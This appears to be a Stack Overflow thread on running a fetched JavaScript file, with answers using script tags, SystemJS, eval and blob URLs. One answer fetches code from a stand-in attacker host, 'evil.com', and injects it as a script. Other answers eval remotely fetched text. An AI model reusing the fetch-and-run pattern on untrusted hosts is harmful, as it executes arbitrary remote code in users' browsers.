27

Lower intermediate JS/JQ person here.

I'm trying to escape callback hell by using JS fetch. This is billed as "the replacement for AJAX" and seems to be pretty powerful. I can see how you can get HTML and JSON objects with it... but is it capable of running another JS script from the one you're in? Maybe there's another new function in ES6 to do:

$.getScript( 'xxx.js' );

i.e.

$.ajax({ url : 'xxx.js', dataType : "script", });

...?

later, response to Joseph The Dreamer:

Tried this:

const createdScript = $(document.createElement('script')).attr('src', 'generic.js');
fetch( createdScript )...

... it didn't run the script "generic.js". Did you mean something else?

mike rodent
  • 14,126
  • 11
  • 103
  • 157

6 Answers6

63

Fetch API is supposed to provide promise-based API to fetch remote data. Loading random remote script is not AJAX - even if jQuery.ajax is capable of that. It won't be handled by Fetch API.

Script can be appended dynamically and wrapped with a promise:

const scriptPromise = new Promise((resolve, reject) => {
  const script = document.createElement('script');
  document.body.appendChild(script);
  script.onload = resolve;
  script.onerror = reject;
  script.async = true;
  script.src = 'foo.js';
});

scriptPromise.then(() => { ... });

SystemJS is supposed to provide promise-based API for script loading and can be used as well:

System.config({
  meta: {
    '*': { format: 'global' }
  }
});

System.import('foo.js').then(() => { ... });
Estus Flask
  • 206,104
  • 70
  • 425
  • 565
7

yes u can

<script>
    fetch('https://evil.com/1.txt').then(function(response) { 
        if (!response.ok) { 
            return false; 
        } 
        return response.blob(); 
    }) .then(function(myBlob) { 
        var objectURL = URL.createObjectURL(myBlob); 
        var sc = document.createElement("script");
        sc.setAttribute("src", objectURL); 
        sc.setAttribute("type", "text/javascript"); 
        document.head.appendChild(sc);
    })
</script>

dont listen to the selected "right" answer.

Bob Stein
  • 16,271
  • 10
  • 88
  • 101
rapehem112
  • 79
  • 1
  • 2
5

There are a few things to mention on here.


Yes, it is possible to execute a javascript just loaded from the server. You can fetch the file as text and user eval(...) while this is not recommended because of untrackeable side effects and lack of security!

Another option would be: 1. Load the javascript file 2. Create a script tag with the file contents (or url, since the browser caches the file)

This works, but it may not free you from callback hell perse.


If what you want is load other javascript files dinamically you can use, for example requirejs, you can define modules and load them dinamically. Take a look at http://requirejs.org/


If you really want to get out of the callback hell, what you need to do is

  • Define functions (you can have them in the same file or load from another file using requirejs in the client, or webpack if you can afford a compilation before deployment)
  • Use promises or streams if needed (see Rxjs https://github.com/Reactive-Extensions/RxJS)
  • Remember that promise.then returns a promise

    someAsyncThing()
      .then(doSomethingAndResolveAnotherAsncThing)
      .then(doSomethingAsyncAgain)
    

Remember that promises can be composed

Promise.all(somePromise, anotherPromise, fetchFromServer)
  .then(doSomethingWhenAllOfThoseAreResolved)
cnexans
  • 975
  • 1
  • 7
  • 20
  • Thanks... yes, I've just started scratching the surface of this Promises stuff. The ES7 "await" and "async" stuff looks quite promising: but I'm still floundering when it comes to getting the script to WAIT for the end of the getScript callback... Actually I glimpsed at RxJS yesterday. Will also take a look at requirejs. Sigh. As I say I am not a JS expert... – mike rodent Jun 28 '17 at 13:53
  • 2
    `"[...] untrackeable side effects and lack of security [...]"` there's no difference in security between `eval(await fetch(url).then(r => r.text()))` and ``, so far as I can see? – joe Feb 13 '20 at 06:06
4

Following fetch() Api works perfectly well for me, as proposed by answer of @cnexans (using .text() and then .eval()). I noticed an increased performance compared to method of adding the <script> tag.

Run code snippet to see the fetch() API loading async (as it is a Promise):

// Loading moment.min.js as sample script

// only use eval() for sites you trust

fetch('https://momentjs.com/downloads/moment.min.js')
.then(response => response.text())
.then(txt => eval(txt))
.then(() => {
  document.getElementById('status').innerHTML = 'moment.min.js loaded'
  // now you can use the script
  document.getElementById('today').innerHTML = moment().format('dddd');
  document.getElementById('today').style.color = 'green';
  })
#today {
  color: orange;
 }
<div id='status'>loading 'moment.min.js' ...</div>
<br>
<div id='today'>please wait ...</div>
Jürgen Fink
  • 3,162
  • 2
  • 23
  • 25
1

To actually use a variable from a dynamically loaded .js file, it is necessary to wait for the file to finish loading. The following approach wraps a fetch in a Promise for easy async/await calls.

Adding the script tag as a blob also simplifies CSP configuration with script-src-elem 'self' blob:; instead of nonces. The whole solution is safer than using eval().

const ns = {
  //injects client js file
  require: async u => {
    await new Promise((res, rej) => {
      fetch(u)
        .then(r => r.ok ? r.blob() : rej)
        .then(b => {
          let ou = URL.createObjectURL(b),
            el = document.createElement("script");
          el.setAttribute("src", ou);
          el.setAttribute("type", "text/javascript");
          el.onload = () => res();
          document.body.appendChild(el);
        })
        .catch(e => rej);
    });
  },
}


await ns.require('/path/to/dynamically_loaded.js');
console.log(var_declared_inside_loaded_file);
<html lang="en">

<head>
  <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests" />
  <meta http-equiv="Content-Security-Policy" content="
              default-src 'self';
              script-src-elem 'self' blob:;
              " />
</head>
OXiGEN
  • 2,041
  • 25
  • 19
0

The Fetch API provides an interface for fetching resources (including across the network). It will seem familiar to anyone who has used XMLHttpRequest, but the new API provides a more powerful and flexible feature set. https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API

That's what it's supposed to do, but unfortunately it doesn't evaluate the script.

That's why I released this tiny Fetch data loader on Github.

It loads the fetched content into a target container and run its scripts (without using the evil eval() function.

A demo is available here: https://www.ajax-fetch-data-loader.miglisoft.com

Here's a sample code:

<script>
document.addEventListener('DOMContentLoaded', function(event) {
    fetch('ajax-content.php')
    .then(function (response) {
        return response.text()
    })
    .then(function (html) {
        console.info('content has been fetched from data.html');
        loadData(html, '#ajax-target').then(function (html) {
            console.info('I\'m a callback');
        })
    }).catch((error) => {
        console.log(error);
    });
});
</script>
migli
  • 2,692
  • 27
  • 32